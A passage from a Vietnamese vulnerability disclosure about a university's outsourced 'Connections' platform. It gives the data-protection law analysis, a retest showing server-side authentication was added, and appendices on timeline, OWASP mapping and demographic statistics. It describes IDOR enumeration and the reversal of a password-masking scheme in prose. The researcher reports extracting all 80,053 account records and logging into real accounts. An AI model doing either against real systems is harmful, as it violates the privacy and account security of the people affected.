<p><strong>Nghị định 13, Điều 38</strong> quy định nghĩa vụ của Bên Kiểm soát dữ liệu: triển khai biện pháp tổ chức và kỹ thuật để chứng minh tuân thủ (Khoản 1), duy trì nhật ký xử lý (Khoản 2), báo cáo vi phạm theo Điều 23 (Khoản 3), chỉ chọn Bên Xử lý có biện pháp bảo vệ phù hợp (Khoản 4), và <strong>chịu trách nhiệm với chủ thể dữ liệu về thiệt hại do xử lý gây ra</strong> (Khoản 6). Trường Đại học X chọn Công ty Y làm Bên Xử lý mà không xác minh (hoặc bất chấp) sự vắng mặt hoàn toàn của các biện pháp bảo mật.</p>

<p><strong>Nghị định 13, Điều 39</strong> quy định nghĩa vụ của Bên Xử lý dữ liệu: chỉ nhận dữ liệu sau khi có hợp đồng hoặc thỏa thuận (Khoản 1), xử lý dữ liệu theo thỏa thuận đó (Khoản 2), triển khai đầy đủ mọi biện pháp bảo vệ theo quy định của nghị định (Khoản 3), và <strong>chịu trách nhiệm với chủ thể dữ liệu về thiệt hại gây ra trong quá trình xử lý</strong> (Khoản 4). Công ty Y thất bại ở mọi điểm.</p>

<h4 id="luật-yêu-cầu-gì-khi-phát-hiện-vi-phạm">Luật yêu cầu gì khi phát hiện vi phạm</h4>

<p><strong>Nghị định 13, Điều 23</strong> quy định rằng khi phát hiện vi phạm bảo vệ dữ liệu, Bên Kiểm soát phải thông báo cho Bộ Công an (Cục An ninh mạng và Phòng, chống tội phạm sử dụng công nghệ cao) <strong>trong vòng 72 giờ</strong> theo Mẫu số 03 (Khoản 1). Bên Xử lý phải thông báo cho Bên Kiểm soát sớm nhất có thể (Khoản 2). Thông báo phải bao gồm: bản chất vi phạm, thời gian và địa điểm, các loại dữ liệu cá nhân bị ảnh hưởng, số lượng chủ thể dữ liệu liên quan, và các biện pháp đã thực hiện để khắc phục thiệt hại (Khoản 3).</p>

<p><strong>Luật 91/2025, Điều 23</strong> tăng cường yêu cầu này: khi phát hiện vi phạm có thể gây hại cho an ninh quốc gia, trật tự xã hội, tính mạng, sức khỏe, danh dự, nhân phẩm, hoặc tài sản của chủ thể dữ liệu, việc thông báo cho cơ quan bảo vệ dữ liệu phải diễn ra <strong>trong vòng 72 giờ</strong> (Khoản 1). Bên Kiểm soát phải lập báo cáo sự cố chính thức và hợp tác với cơ quan chức năng để xử lý vi phạm (Khoản 2).</p>

<p><strong>Luật 91/2025, Điều 21</strong> yêu cầu Bên Kiểm soát và Bên Xử lý phải chuẩn bị và duy trì <strong>Đánh giá tác động xử lý dữ liệu</strong>, nộp cho cơ quan bảo vệ dữ liệu trong vòng 60 ngày kể từ khi bắt đầu xử lý dữ liệu (Khoản 1). Đánh giá này phải được cập nhật hàng năm (Khoản 2) và phải luôn sẵn sàng cho Bộ Công an kiểm tra (Nghị định 13, Điều 24, Khoản 4). Không có bằng chứng rằng Trường Đại học X hoặc Công ty Y đã nộp đánh giá như vậy.</p>

<h4 id="hậu-quả-là-gì">Hậu quả là gì?</h4>

<p>Luật 91/2025 không để lại chỗ cho sự mơ hồ về chế tài. <strong>Điều 8</strong> quy định rõ:</p>

<ul>
  <li>Vi phạm có thể bị <strong>xử lý kỷ luật, xử phạt hành chính, hoặc truy cứu trách nhiệm hình sự</strong> tùy theo tính chất và mức độ nghiêm trọng (Khoản 1).</li>
  <li>Đối với cá nhân mua bán hoặc buôn bán dữ liệu cá nhân trái phép: phạt tới <strong>10 lần doanh thu</strong> thu được từ vi phạm (Khoản 3).</li>
  <li>Đối với tổ chức vi phạm quy định chuyển dữ liệu xuyên biên giới: phạt tới <strong>5% doanh thu hàng năm</strong> tại Việt Nam (Khoản 4).</li>
  <li>Đối với các vi phạm bảo vệ dữ liệu khác: mức phạt hành chính tối đa <strong>3 tỷ đồng</strong> (~120.000 USD) cho tổ chức (Khoản 5).</li>
  <li>Cá nhân vi phạm tương tự chịu mức phạt tối đa bằng <strong>một nửa</strong> mức phạt tổ chức (Khoản 6).</li>
  <li>Nếu vi phạm gây thiệt hại, <strong>bồi thường là bắt buộc</strong> theo quy định pháp luật (Khoản 1).</li>
</ul>

<p><strong>Nghị định 13, Điều 4</strong> bổ sung rằng vi phạm có thể bị xử lý qua biện pháp kỷ luật, chế tài hành chính, hoặc truy cứu hình sự tùy theo mức độ nghiêm trọng.</p>

<h4 id="80053-chủ-thể-dữ-liệu-có-quyền-đòi-hỏi-gì">80.053 chủ thể dữ liệu có quyền đòi hỏi gì</h4>

<p>Quyền của chủ thể dữ liệu không phải lý thuyết suông. Chúng có thể thi hành:</p>

<ul>
  <li><strong>Quyền được biết</strong> về các hoạt động xử lý dữ liệu (Luật 91, Điều 4, Khoản 1a; Nghị định 13, Điều 9, Khoản 1)</li>
  <li><strong>Quyền rút lại sự đồng ý</strong> (Luật 91, Điều 4, Khoản 1b; Nghị định 13, Điều 9, Khoản 2)</li>
  <li><strong>Quyền truy cập và chỉnh sửa</strong> dữ liệu (Luật 91, Điều 4, Khoản 1c; Nghị định 13, Điều 9, Khoản 3)</li>
  <li><strong>Quyền yêu cầu xóa</strong> và hạn chế xử lý (Luật 91, Điều 4, Khoản 1d; Nghị định 13, Điều 9, Khoản 5–6)</li>
  <li><strong>Quyền khiếu nại, khởi kiện, và yêu cầu bồi thường</strong> thiệt hại (Luật 91, Điều 4, Khoản 1đ; Nghị định 13, Điều 9, Khoản 9–10)</li>
  <li><strong>Quyền yêu cầu</strong> cơ quan có thẩm quyền và tổ chức liên quan triển khai biện pháp bảo vệ dữ liệu (Luật 91, Điều 4, Khoản 1e)</li>
</ul>

<p>Mỗi người trong 80.053 cá nhân bị phơi bày đều có các quyền này. Mỗi người đều có thể yêu cầu Trường Đại học X và Công ty Y trả lời. Mỗi người đều có thể yêu cầu dữ liệu của mình được bảo mật, được thông báo về sự cố vi phạm, và được bồi thường thiệt hại.</p>

<h4 id="kết-luận-pháp-lý">Kết luận pháp lý</h4>

<p>Trường Đại học X không thể núp sau Công ty Y. Pháp luật quy định rõ ràng Bên Kiểm soát phải chịu trách nhiệm trong việc lựa chọn Bên Xử lý có biện pháp bảo vệ phù hợp (Nghị định 13, Điều 38, Khoản 4) và chịu trách nhiệm bồi thường thiệt hại (Nghị định 13, Điều 38, Khoản 6). Bằng việc thuê ngoài nền tảng cho một nhà cung cấp hoàn toàn không có kiến trúc bảo mật, Trường Đại học X không thuê ngoài trách nhiệm, mà khuếch đại trách nhiệm pháp lý của mình.</p>

<p>Công ty Y không thể viện cớ không biết. Họ xây dựng nền tảng, họ quyết định rằng JavaScript phía client là đủ để bảo mật, họ chọn trả về mật khẩu trong phản hồi API, và họ không mã hóa dữ liệu cá nhân như Luật 91, Điều 12 yêu cầu. Mọi quyết định kiến trúc dẫn đến sự phơi bày này đều là của họ.</p>

<p>Pháp luật yêu cầu họ hành động, không phải lúc nào thuận tiện, không phải khi nào muốn, mà <strong>ngay bây giờ</strong>:</p>

<ul>
  <li>Thông báo cho Bộ Công an trong vòng 72 giờ kể từ khi phát hiện vi phạm.</li>
  <li>Chuẩn bị và nộp Đánh giá tác động xử lý dữ liệu.</li>
  <li>Triển khai xác thực, kiểm soát truy cập, và mã hóa thực sự.</li>
  <li>Thông báo cho toàn bộ 80.053 cá nhân bị ảnh hưởng.</li>
  <li>Loại bỏ ngay lập tức thông tin đăng nhập bị lộ khỏi API.</li>
  <li>Thực hiện kiểm toán bảo mật toàn diện nền tảng Connections, không chỉ triển khai tại Trường Đại học X, mà toàn bộ khách hàng đang chạy trên cùng kiến trúc.</li>
</ul>

<p>80.053 người đã tin tưởng Trường Đại học X với dữ liệu cá nhân của họ. Sự tin tưởng đó được ủy thác cho Công ty Y. Cả hai đều thất bại. Pháp luật nói rằng sự thất bại đó có hậu quả. Đã đến lúc những hậu quả đó được thực thi.</p>

<h2 id="9-kết-luận">9. Kết luận</h2>

<p>Ở Phần 1, tôi phát hiện 896 thẻ căn cước bị lộ qua cổng thi của một trường đại học. Câu hỏi tiếp theo, “còn nền tảng lớn hơn thì sao?”, dẫn đến câu trả lời mà tôi ước mình đã không tìm thấy: 80.053 tài khoản, mật khẩu nằm trong API cho cả sinh viên lẫn cán bộ, và cả hai loại tài khoản đều bị chiếm quyền chỉ bằng cách đọc một trường dữ liệu.</p>

<p>Nguyên nhân gốc không thay đổi từ Phần 1, vẫn là cùng lỗi kiến trúc: <strong>nền tảng Connections của Công ty Y không triển khai bất kỳ cơ chế xác thực hay phân quyền phía server nào</strong>. Framework JavaScript chạy trong trình duyệt người dùng là thứ duy nhất đứng giữa khách truy cập và cơ sở dữ liệu, và đó không phải ranh giới bảo mật, đó là sự vắng mặt của ranh giới.</p>

<p>Nhưng điều khiến tôi trăn trở nhất không phải con số hay kỹ thuật, mà là trường mật khẩu. Lưu trữ thông tin đăng nhập trong phản hồi API mà client có thể truy cập, dù đã che, không phải lỗi thiết kế đơn thuần. Đó là sự hiểu lầm căn bản về cách hệ thống xác thực nên hoạt động. Mật khẩu không bao giờ được rời khỏi server, dưới bất kỳ dạng nào, trong bất kỳ hoàn cảnh nào. Và việc thuật toán che có thể bị dịch ngược bằng dữ liệu từ chính phản hồi đó nâng mức độ từ rò rỉ dữ liệu lên thành xâm phạm toàn bộ hệ thống xác thực.</p>

<p>Phản hồi ban đầu của nhà cung cấp, xóa một số giá trị trường và thêm mật mã thay thế phía client, cho thấy một khuôn mẫu đáng lo ngại: chữa triệu chứng nhìn thấy mà bỏ qua nguyên nhân gốc. Tại lần kiểm tra lại ngày 10 tháng 3, 7 trên 10 vector tấn công vẫn có thể khai thác, và nền tảng mạng nội bộ không nhận được bất kỳ thay đổi bảo mật nào. <em>(Xem <a href="#10-cập-nhật-kiểm-tra-lại--ngày-23-tháng-6-2026">Mục 10</a> cho bản cập nhật ngày 23 tháng 6, khi nhà cung cấp đã triển khai xác thực phía server và khắc phục lỗ hổng cốt lõi.)</em></p>

<p>Tôi biết rằng đằng sau 80.053 ID tài khoản là con người thật. Sinh viên đã tin tưởng trường đại học với thông tin cá nhân của mình, cựu sinh viên mong đợi dữ liệu của mình được bảo mật sau khi rời trường, và cả sinh viên lẫn cán bộ đều có thông tin đăng nhập bị phơi bày cho bất kỳ ai muốn xem. Tài khoản của một sinh viên và một Phó Hiệu trưởng đều bị chiếm quyền không bằng exploit tinh vi mà bằng cách đọc một trường trong phản hồi API rồi gõ nó vào form đăng nhập. Nếu tôi, một người nghiên cứu bảo mật với ý định tốt, có thể làm được điều này, thì bất kỳ ai cũng có thể.</p>

<p>Bản vá mà nền tảng này cần không phải thêm một lớp che giấu phía client, mà là triển khai những gì đáng lẽ phải tồn tại từ ngày đầu: xác thực phía server, kiểm soát truy cập dựa trên vai trò, và nguyên tắc cơ bản rằng cơ sở dữ liệu không nên trả lời câu hỏi từ người lạ.</p>

<h2 id="10-cập-nhật-kiểm-tra-lại--ngày-23-tháng-6-2026">10. Cập nhật kiểm tra lại – Ngày 23 tháng 6, 2026</h2>

<p>Ngày 23 tháng 6 năm 2026, mười ngày sau khi báo cáo này được công bố, tôi kiểm tra lại toàn bộ các vector tấn công trên cả hai nền tảng. Công ty Y đã cập nhật mã nguồn ngay trong ngày đó (phiên bản <code class="language-plaintext highlighter-rouge">14484523062026</code>), và kết quả khác biệt đáng kể so với lần kiểm tra ngày 10 tháng 3.</p>

<h3 id="những-gì-đã-thay-đổi">Những gì đã thay đổi</h3>

<p>Bản sửa quan trọng nhất mang tính kiến trúc: <strong>cổng API XHR giờ đã thực thi xác thực phía server.</strong> Cả <code class="language-plaintext highlighter-rouge">connections.universityx.vn/xhr/</code> lẫn endpoint phụ tại <code class="language-plaintext highlighter-rouge">xhr.companyy.com/xhr/</code> đều trả về HTTP 403 với <code class="language-plaintext highlighter-rouge">{"error":403,"code":"access_denied"}</code> cho các yêu cầu POST không xác thực. Đây là lần đầu tiên tôi quan sát thấy kiểm soát truy cập phía server trên nền tảng này.</p>

<p>Với cổng API bị khóa, các hệ quả kéo theo là tức thì:</p>

<ul>
  <li><strong>IDOR tài khoản không còn hoạt động.</strong> Toàn bộ các ID tài khoản được kiểm tra (bao gồm dải gốc 7.787–215.212) đều trả về null. Cơ sở dữ liệu không còn trả lời câu hỏi từ người lạ.</li>
  <li><strong>Lộ mật khẩu đã được loại bỏ.</strong> Với bản ghi tài khoản bị chặn, trường mật khẩu (<code class="language-plaintext highlighter-rouge">ợ</code>) không còn truy cập được. 208 bộ thông tin đăng nhập cán bộ được ghi nhận trong báo cáo này không còn truy xuất được nữa.</li>
  <li><strong>Liệt kê hàng loạt bị chặn</strong> trên <code class="language-plaintext highlighter-rouge">connections.universityx.vn</code>. Endpoint tải hàng loạt trả về mảng rỗng.</li>
  <li><strong>Mật mã b6x đã bị gỡ bỏ</strong> khỏi <code class="language-plaintext highlighter-rouge">tec.universityx.vn</code>. Lớp mật mã thay thế đơn bảng được ghi nhận trong Mục 7.2 đã biến mất hoàn toàn.</li>
</ul>

<h3 id="những-gì-vẫn-còn-lỗ-hổng">Những gì vẫn còn lỗ hổng</h3>

<p>Framework JavaScript và việc tự tạo phiên vẫn bị lộ trên cả hai nền tảng. Khách truy cập ẩn danh vẫn nhận được session ID và truy cập vào toàn bộ bề mặt API phía client. Tuy nhiên, đây là lỗ hổng mức độ thấp khi đứng riêng, vì chúng chỉ trở nên nguy hiểm khi kết hợp với truy cập dữ liệu, thứ giờ đã bị chặn.</p>

<p>Trên <code class="language-plaintext highlighter-rouge">tec.universityx.vn</code> (hệ thống thi từ Phần 1), bản sửa chưa hoàn chỉnh:</p>

<table>
  <thead>
    <tr>
      <th>Vấn đề</th>
      <th>Trạng thái</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Thí sinh #1662402 vẫn lộ ngày sinh, giới tính, và ID tham chiếu ảnh CCCD</td>
      <td>CÒN LỖ HỔNG</td>
    </tr>
    <tr>
      <td>Tải hàng loạt trả về 50.403 ID thí sinh (bản ghi hầu hết trống)</td>
      <td>CÒN LỖ HỔNG</td>
    </tr>
    <tr>
      <td>Các node CDN ảnh (i0/i3) phản hồi trở lại sau khi đã được sửa vào tháng 3</td>
      <td>BỊ HỒI QUY</td>
    </tr>
  </tbody>
</table>

<h3 id="bảng-điểm">Bảng điểm</h3>

<table>
  <thead>
    <tr>
      <th>Nền tảng</th>
      <th>Kiểm tra</th>
      <th>Đã sửa</th>
      <th>Còn lỗ hổng</th>
      <th>Điểm</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>connections.universityx.vn (Phần 2)</td>
      <td>13</td>
      <td>11</td>
      <td>2</td>
      <td><strong>85% đã sửa</strong></td>
    </tr>
    <tr>
      <td>tec.universityx.vn (Phần 1)</td>
      <td>13</td>
      <td>6</td>
      <td>5</td>
      <td><strong>46% đã sửa</strong></td>
    </tr>
    <tr>
      <td>Trước đó (10 tháng 3, cả hai)</td>
      <td>10</td>
      <td>3</td>
      <td>7</td>
      <td>30% đã sửa</td>
    </tr>
  </tbody>
</table>

<h3 id="vậy-đã-đủ-an-toàn-chưa">Vậy đã đủ an toàn chưa?</h3>

<p>Với <code class="language-plaintext highlighter-rouge">connections.universityx.vn</code>, nền tảng được ghi nhận trong báo cáo này: <strong>có, lỗ hổng nghiêm trọng đã được khắc phục.</strong> 80.053 tài khoản và mật khẩu cán bộ không còn truy cập được bởi người dùng không xác thực. Nhà cung cấp đã chuyển từ “không có bảo mật” sang “thực thi xác thực phía server tại cổng API,” đây là bản sửa kiến trúc đúng hướng thay vì thêm một lớp che giấu phía client.</p>

<p>Tuy nhiên, bản sửa là một cổng xác thực được gắn thêm vào kiến trúc hiện có, không phải thiết kế lại từ đầu. Framework phía client vẫn tải, phiên vẫn được tự tạo, và mô hình dữ liệu bên dưới có lẽ vẫn trả về tất cả các trường cho người dùng đã xác thực mà không phân quyền theo vai trò. Một phiên đã xác thực bị xâm phạm hoặc có đặc quyền thấp vẫn có thể truy cập nhiều dữ liệu hơn mức cần thiết. Một cuộc kiểm toán bảo mật đầy đủ cần xác minh rằng kiểm soát truy cập sau xác thực cũng chặt chẽ tương đương.</p>

<p>Với <code class="language-plaintext highlighter-rouge">tec.universityx.vn</code>, bức tranh còn lẫn lộn. Hệ thống thi vẫn rò rỉ dữ liệu thí sinh một phần và đã bị hồi quy về truy cập ảnh CDN. Các phát hiện từ Phần 1 chưa được giải quyết hoàn toàn.</p>

<p>Nhà cung cấp đã có tiến bộ thực sự. Nhưng liệu tiến bộ đó đã đủ hay chưa phụ thuộc vào việc họ có tiếp tục hay không: khuôn mẫu cho đến nay là vá lỗi từng bước để phản ứng với các báo cáo được công bố, thay vì rà soát bảo mật toàn diện nền tảng. Bước tiếp theo nên là một cuộc kiểm thử xâm nhập chuyên nghiệp trên bề mặt tấn công sau xác thực, điều nằm ngoài phạm vi của nghiên cứu này.</p>

<hr />

<h2 id="phụ-lục">Phụ lục</h2>

<h3 id="a-dòng-thời-gian-công-bố-có-trách-nhiệm">A. Dòng thời gian Công bố có Trách nhiệm</h3>

<table>
  <thead>
    <tr>
      <th>Ngày</th>
      <th>Sự kiện</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2026-02-25</td>
      <td>Phát hiện lỗ hổng trên tec.universityx.vn (Phần 1)</td>
    </tr>
    <tr>
      <td>2026-02-26</td>
      <td>Điều tra connections.universityx.vn; trích xuất 80.053 tài khoản</td>
    </tr>
    <tr>
      <td>2026-02-26</td>
      <td>Hoàn thành báo cáo kỹ thuật</td>
    </tr>
    <tr>
      <td>2026-02-27</td>
      <td>Gửi yêu cầu CVE đến MITRE</td>
    </tr>
    <tr>
      <td>2026-02-28</td>
      <td>Công ty Y xác nhận nhận báo cáo, xác nhận bắt đầu khắc phục</td>
    </tr>
    <tr>
      <td>2026-03-10</td>
      <td>Kiểm tra lại: 7/10 vector tấn công vẫn còn lỗ hổng</td>
    </tr>
    <tr>
      <td>2026-03-24</td>
      <td>Phần 1 được công bố (đã ẩn danh)</td>
    </tr>
    <tr>
      <td>2026-06-13</td>
      <td>Phần 2 được công bố (báo cáo này)</td>
    </tr>
    <tr>
      <td>2026-06-23</td>
      <td>Kiểm tra lại: 85% đã sửa trên connections.universityx.vn, 46% trên tec.universityx.vn</td>
    </tr>
  </tbody>
</table>

<h3 id="b-phân-loại-kỹ-thuật-tấn-công">B. Phân loại Kỹ thuật Tấn công</h3>

<table>
  <thead>
    <tr>
      <th>Kỹ thuật</th>
      <th>Framework</th>
      <th>Ứng dụng</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>IDOR</td>
      <td>OWASP Top 10</td>
      <td>Liệt kê ID tài khoản tuần tự (7.787–215.212)</td>
    </tr>
    <tr>
      <td>Broken Access Control</td>
      <td>OWASP Top 10</td>
      <td>Không xác thực trên bất kỳ endpoint API nào</td>
    </tr>
    <tr>
      <td>Credential Exposure</td>
      <td>OWASP Top 10</td>
      <td>Mật khẩu được trả về trong phản hồi API</td>
    </tr>
    <tr>
      <td>Broken Authentication</td>
      <td>OWASP Top 10</td>
      <td>Không xác thực phía server; chỉ có phía client</td>
    </tr>
    <tr>
      <td>Security Misconfiguration</td>
      <td>OWASP Top 10</td>
      <td>Truy cập cơ sở dữ liệu mở mặc định</td>
    </tr>
    <tr>
      <td>Insufficient Cryptography</td>
      <td>CWE-327</td>
      <td>Mật mã thay thế đơn bảng làm “mã hóa”</td>
    </tr>
  </tbody>
</table>

<h3 id="c-tóm-tắt-nguồn-dữ-liệu">C. Tóm tắt Nguồn Dữ liệu</h3>

<p>Tất cả thống kê trong báo cáo này được trích xuất từ các tập dữ liệu sau:</p>

<table>
  <thead>
    <tr>
      <th>Tập tin</th>
      <th>Bản ghi</th>
      <th>Mô tả</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>universityx_conn_accounts.csv</td>
      <td>80.053</td>
      <td>Tập dữ liệu tài khoản đầy đủ (40 trường mỗi tài khoản)</td>
    </tr>
    <tr>
      <td>universityx_conn_current_students.csv</td>
      <td>21.393</td>
      <td>Tập con sinh viên đang học</td>
    </tr>
    <tr>
      <td>universityx_conn_old_students.csv</td>
      <td>57.588</td>
      <td>Tập con cựu sinh viên</td>
    </tr>
    <tr>
      <td>universityx_conn_staff.csv</td>
      <td>562</td>
      <td>Tập con cán bộ &amp; giảng viên (44 trường, bao gồm thông tin đăng nhập)</td>
    </tr>
    <tr>
      <td>universityx_conn_companies.csv</td>
      <td>166</td>
      <td>Tập con tài khoản doanh nghiệp/đối tác</td>
    </tr>
    <tr>
      <td>universityx_conn_guests.csv</td>
      <td>344</td>
      <td>Tập con tài khoản khách</td>
    </tr>
    <tr>
      <td>credentials_exposed.csv</td>
      <td>561</td>
      <td>Tất cả tài khoản có trường thông tin đăng nhập</td>
    </tr>
    <tr>
      <td>unmasked_staff.csv</td>
      <td>208</td>
      <td>Thông tin đăng nhập phục hồi thành công/plaintext</td>
    </tr>
  </tbody>
</table>

<p>Tổng các tập con: 21.393 + 57.588 + 562 + 166 + 344 = <strong>80.053</strong> (khớp chính xác tập dữ liệu chính).</p>

<h3 id="d-thuật-ngữ">D. Thuật ngữ</h3>

<table>
  <thead>
    <tr>
      <th>Thuật ngữ</th>
      <th>Định nghĩa</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>CCCD</td>
      <td>Căn cước công dân</td>
    </tr>
    <tr>
      <td>CMND</td>
      <td>Chứng minh nhân dân – định dạng cũ</td>
    </tr>
    <tr>
      <td>IDOR</td>
      <td>Insecure Direct Object Reference – Tham chiếu đối tượng trực tiếp không an toàn</td>
    </tr>
    <tr>
      <td>Trường Đại học X</td>
      <td>Tên ẩn danh cho trường đại học bị ảnh hưởng</td>
    </tr>
    <tr>
      <td>Công ty Y</td>
      <td>Tên ẩn danh cho nhà cung cấp nền tảng</td>
    </tr>
    <tr>
      <td>Nền tảng Z</td>
      <td>Nền tảng SaaS “Connections” do Công ty Y vận hành</td>
    </tr>
    <tr>
      <td>PII</td>
      <td>Personally Identifiable Information – Thông tin nhận dạng cá nhân</td>
    </tr>
    <tr>
      <td>b6x</td>
      <td>Bảng chữ cái Base64 tùy chỉnh được sử dụng bởi lớp che giấu của Nền tảng Z</td>
    </tr>
  </tbody>
</table>

<h3 id="e-bản-ghi-tài-khoản-mẫu-đã-biên-tập">E. Bản ghi Tài khoản Mẫu (Đã biên tập)</h3>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"account_id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[REDACTED]"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"ho_ten"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[REDACTED]"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"ngay_sinh"</span><span class="p">:</span><span class="w"> </span><span class="s2">"xx/xx/1999"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"gioi_tinh"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Nữ"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"sdt"</span><span class="p">:</span><span class="w"> </span><span class="s2">"098XXXXXXX"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[redacted]@gmail.com"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"cmnd_cccd"</span><span class="p">:</span><span class="w"> </span><span class="s2">"001XXXXXXXXX"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"que_quan"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[Tỉnh]"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"ma_sinh_vien"</span><span class="p">:</span><span class="w"> </span><span class="s2">"19XXXXXX"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"khoa"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Khoa [REDACTED]"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"nganh"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[REDACTED]"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"khoa_hoc"</span><span class="p">:</span><span class="w"> </span><span class="s2">"20xx-20xx"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"loai_tk"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<h3 id="f-bảng-thống-kê-chi-tiết">F. Bảng Thống kê Chi tiết</h3>

<p>Phụ lục này chứa các bảng thống kê chi tiết được tham chiếu trong Mục 3.5.</p>

<p><strong>Phân bố Tên miền Email</strong> (29.640 địa chỉ email):</p>

<table>
  <thead>
    <tr>
      <th>Tên miền</th>
      <th>Số lượng</th>
      <th>Ý nghĩa</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>gmail.com</td>
      <td>20.793</td>
      <td>Tài khoản cá nhân</td>
    </tr>
    <tr>
      <td>ms.universityx.edu.vn</td>
      <td>5.329</td>
      <td>Tài khoản Microsoft 365 chính thức của trường</td>
    </tr>
    <tr>
      <td>s.universityx.edu.vn</td>
      <td>1.309</td>
      <td>Hệ thống email sinh viên</td>
    </tr>
    <tr>
      <td>universityx.edu.vn</td>
      <td>1.124</td>
      <td>Email giảng viên/cán bộ</td>
    </tr>
    <tr>
      <td>Khác</td>
      <td>1.085</td>
      <td>Bao gồm lỗi đánh máy: <code class="language-plaintext highlighter-rouge">gmai.com</code> (68), <code class="language-plaintext highlighter-rouge">gmail.con</code> (48), <code class="language-plaintext highlighter-rouge">yahoo.com</code> (63), <code class="language-plaintext highlighter-rouge">icloud.com</code> (55), <code class="language-plaintext highlighter-rouge">qq.com</code> (39)</td>
    </tr>
  </tbody>
</table>

<p><strong>Phân bố Giới tính:</strong></p>

<table>
  <thead>
    <tr>
      <th>Giới tính</th>
      <th>Số lượng</th>
      <th>Tỷ lệ</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Nữ</td>
      <td>54.815</td>
      <td>68,5%</td>
    </tr>
    <tr>
      <td>Nam</td>
      <td>13.522</td>
      <td>16,9%</td>
    </tr>
    <tr>
      <td>Chưa đặt / Không rõ</td>
      <td>11.716</td>
      <td>14,6%</td>
    </tr>
  </tbody>
</table>

<p><strong>Phân bố Địa lý</strong> – 15 quê quán nhiều nhất (trong 50.042 có dữ liệu):</p>

<table>
  <thead>
    <tr>
      <th>Tỉnh/Thành phố</th>
      <th>Số lượng</th>
      <th>Tỷ lệ</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Hà Nội</td>
      <td>17.775</td>
      <td>35,5%</td>
    </tr>
    <tr>
      <td>Nam Định</td>
      <td>2.839</td>
      <td>5,7%</td>
    </tr>
    <tr>
      <td>Thái Bình</td>
      <td>2.587</td>
      <td>5,2%</td>
    </tr>
    <tr>
      <td>Hà Tây</td>
      <td>2.567</td>
      <td>5,1%</td>
    </tr>
    <tr>
      <td>Hải Dương</td>
      <td>2.158</td>
      <td>4,3%</td>
    </tr>
    <tr>
      <td>Hải Phòng</td>
      <td>2.082</td>
      <td>4,2%</td>
    </tr>
    <tr>
      <td>Bắc Ninh</td>
      <td>1.588</td>
      <td>3,2%</td>
    </tr>
    <tr>
      <td>Bắc Giang</td>
      <td>1.501</td>
      <td>3,0%</td>
    </tr>
    <tr>
      <td>Vĩnh Phúc</td>
      <td>1.466</td>
      <td>2,9%</td>
    </tr>
    <tr>
      <td>Hà Nam</td>
      <td>1.289</td>
      <td>2,6%</td>
    </tr>
    <tr>
      <td>Hưng Yên</td>
      <td>1.216</td>
      <td>2,4%</td>
    </tr>
    <tr>
      <td>Phú Thọ</td>
      <td>1.185</td>
      <td>2,4%</td>
    </tr>
    <tr>
      <td>Thanh Hóa</td>
      <td>1.178</td>
      <td>2,4%</td>
    </tr>
    <tr>
      <td>Nghệ An</td>
      <td>972</td>
      <td>1,9%</td>
    </tr>
    <tr>
      <td>Ninh Bình</td>
      <td>941</td>
      <td>1,9%</td>
    </tr>
  </tbody>
</table>

<p><strong>10 Khoa lớn nhất:</strong></p>

<table>
  <thead>
    <tr>
      <th>Khoa</th>
      <th>Số lượng</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Quản trị Kinh doanh &amp; Du lịch</td>
      <td>5.579</td>
    </tr>
    <tr>
      <td>Tiếng Anh</td>
      <td>5.510</td>
    </tr>
    <tr>
      <td>Tiếng Trung</td>
      <td>4.422</td>
    </tr>
    <tr>
      <td>Trung tâm Đào tạo Từ xa</td>
      <td>3.887</td>
    </tr>
    <tr>
      <td>Công nghệ Thông tin</td>
      <td>3.315</td>
    </tr>
    <tr>
      <td>Tiếng Nhật</td>
      <td>2.829</td>
    </tr>
    <tr>
      <td>Tiếng Hàn</td>
      <td>2.705</td>
    </tr>
    <tr>
      <td>Tiếng Pháp</td>
      <td>2.102</td>
    </tr>
    <tr>
      <td>Tiếng Đức</td>
      <td>1.750</td>
    </tr>
    <tr>
      <td>Quốc tế học</td>
      <td>1.694</td>
    </tr>
  </tbody>
</table>

<p>41.340 tài khoản có dữ liệu khoa, trải rộng trên 42 tên khoa.</p>

<p><strong>10 Ngành lớn nhất:</strong></p>

<table>
  <thead>
    <tr>
      <th>Ngành</th>
      <th>Số lượng</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Ngôn ngữ Anh</td>
      <td>9.298</td>
    </tr>
    <tr>
      <td>Ngôn ngữ Trung Quốc</td>
      <td>3.792</td>
    </tr>
    <tr>
      <td>Ngôn ngữ Nhật</td>
      <td>2.814</td>
    </tr>
    <tr>
      <td>Ngôn ngữ Hàn Quốc</td>
      <td>2.099</td>
    </tr>
    <tr>
      <td>Ngôn ngữ Đức</td>
      <td>1.741</td>
    </tr>
    <tr>
      <td>Quốc tế học</td>
      <td>1.642</td>
    </tr>
    <tr>
